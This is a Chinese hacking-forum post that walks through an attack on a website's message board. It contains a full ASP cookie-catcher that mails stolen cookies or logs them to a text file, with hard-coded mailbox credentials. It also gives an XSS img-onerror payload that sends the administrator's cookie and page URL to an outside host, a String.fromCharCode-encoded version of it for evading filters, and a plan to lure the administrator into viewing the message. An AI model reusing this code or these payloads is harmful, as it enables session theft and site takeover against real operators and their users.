- 注册时间
- 2011-11-6
- 最后登录
- 2012-5-11
- 金钱
- 213
- 阅读权限
- 200
- 积分
- 93
- 帖子
- 93
- 精华
- 0
- UID
- 2
  
|
发表于 2011-11-7 17:26:39
|显示全部楼层
作者:Trojan [ESST]
信息来源: 噩靈戰隊[Evil-Soul Security Team] http://bbs.x-xox-x.com/
N年前的文章,乱七八糟的我就都删减了 只留可以看的部分。
仔细看过后发现怎么都突破不了,以为所有的文件都包含了这个conn.asp 呢,就放弃了.谁知道过了没几天叉叉兵就把我的平台首页改了.追问过后才发现,其实还有文件没有仔细看过.其实并不是很多文件都包含了这个通用防注入.漏洞代码就不放出了.要不大牛都来日了.然后就在找叉叉兵怎么得到SHELL的,后来发现留言板那问题很严重..可以XSS.既然有了注入点可以加管理,还少了个后台地址.就想跨站得到后台地址.当时犹豫ASP不太熟悉,就用JSP写了一个.刚才碰巧XXB在线,就直接要了份ASP代码.其实也就是个类似QQ马发信的代码.request接受数据,然后创建文件流
- <%
- dizhi=request("dizhi")
- SaveFile="pass.txt" '保存获取数据的TXT
- IfSendMail=true '是否使用邮件发送,如果True则发送邮件不保存TXT 如果false则保存txt而不发送邮件
- YourSendMail="czsteel@163.com" '修改成你自己的邮箱地址。
- YourSendMailUser="cal" '邮箱登陆用户名
- YourSendMailPass="a" '邮箱登陆密码 (以上3项邮箱、账号、密码改成自己的) 这里用我的备用邮箱给你们测试,24小时后我修改密码...
- YourSendMailServer="smtp.163.com" '邮件服务器
- '注意哦,你自己的邮箱地址必须要开通pop/smtp功能。否则不能正常发信。
- '另外就是你的空间必须支持Jmail.
- YourMailTitle="a" '邮件标题
- YourRecvMail="a" '收取截获数据的邮箱,建议使用QQ邮箱,可以实时提示,让你第时间得到要的信息
- sub sendmail(content)
- On error resume next
- dim JMail
- Set JMail = Server.CreateObject("JMail.Message")
- JMail.Logging = True
- JMail.Charset = "gb2312"
- JMail.ContentType = "text/html"
- JMail.From = YourSendMail
- JMail.FromName = ""&YourSendMailUser
- JMail.MailServerUserName = YourSendMailUser
- JMail.MailServerPassword = YourSendMailPass
- JMail.Priority = 1
- JMail.AddRecipient YourRecvMail
- JMail.Subject = YourMailTitle
- JMail.Body = content
- JMail.Send("smtp.163.com")
- Set JMail = nothing
- If err then
- Response.write "发送失败!请检查配置!并确认你的服务器是否支持Jmail!"
- ' &GetPostStr
- else
- Response.write "发送成功!"&GetPostStr
- '&GetPostStr &url
- end if
- end sub
- GetPostStr=Request.QueryString("cookie")&"|"&dizhi
- if GetPostStr="" then
- Response.write "None!"
- end if
- if ifsendmail then
- StrTemp=Replace(GetPostStr,"=",":")
- StrTemp=Replace(StrTemp,"&","<br>")
- StrTemp=StrTemp&"|"&Request.ServerVariables("Remote_Addr")
- sendmail(StrTemp)
- 'ip = Request.ServerVariables("Remote_Addr")
- 'WriteTxt(Request.ServerVariables("Remote_Addr"),StrTemp)
- else
- set F=server.CreateObject("scripting.filesystemobject")
- set I=F.OpenTextFile(server.mappath(SaveFile),8,True,0)
- TempStr=Split(GetPostStr,"&")
- for TempI=0 To Ubound(TempStr)
- I.WriteLine(Replace(TempStr(TempI),"=",":"))
- next
- I.WriteLine(now())
- I.WriteLine("--------------------------------")
- I.close
- Set F=nothing
- end if
- Function WriteTxt(ip,Str)
- set F=server.CreateObject("scripting.filesystemobject")
- set I=F.OpenTextFile(server.mappath("SendIp.txt"),8,True,0)
- I.WriteLine(now())
- I.WriteLine(ip)
- I.WriteLine(Str)
- I.WriteLine("--------------------------------")
- I.close
- Set F=nothing
- end Function
- %>
复制代码
这样就实现了创建txt的功能.下面构造下跨站.<script>被过滤了.别的没过滤貌似.想获取后台就是知道他当前的document.url 就可以了.直接作为参数穿走.复制内容到剪贴板代码:
- <img src="x"/**/onerror="eval(img = new Image(); img.src = " http://bbs.x-xox-x.com/url.asp?cookie="+document.cookie+"&dizhi="+document.URL;img.width=0;img.height=0)"></img>
复制代码
简单解释下.一个Img标签说明是图片地址是x出错了执行后面的话,创建了一个img的对象,然后调用Img的src属性等.主要传参.我把代码发到了留言板发现不执行.估计还给过滤了.那就把代码转换成asci码,利用String.fromCharCode在解析回来.代码如下复制内容到剪贴板代码:
- <img src="x"/**/onerror="eval(String.fromCharCode(105,109,103,32,61,32,110,101,119,32,73,109,97,103,101,40,41,59,32,105,109,103,46,115,114,99,32,61,32,34,104,116,116,112,58,47,47,119,119,119,46,120,120,98,105,110,103,46,99,111,109,47,102,117,99,107,121,111,117,46,97,115,112,63,99,111,111,107,105,101,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,38,100,105,122,104,105,61,34,43,100,111,99,117,109,101,110,116,46,85,82,76,59,105,109,103,46,119,105,100,116,104,61,48,59,105,109,103,46,104,101,105,103,104,116,61,48))"></img>
复制代码
这样留言后加上管理员QQ,说管理员你们服务太差劲了,我不想多说了,去看我给你们的留言把.然后等着上钩把.这个方式试用在可以留言,有跨站,不知道后台地址的情况下.
|
|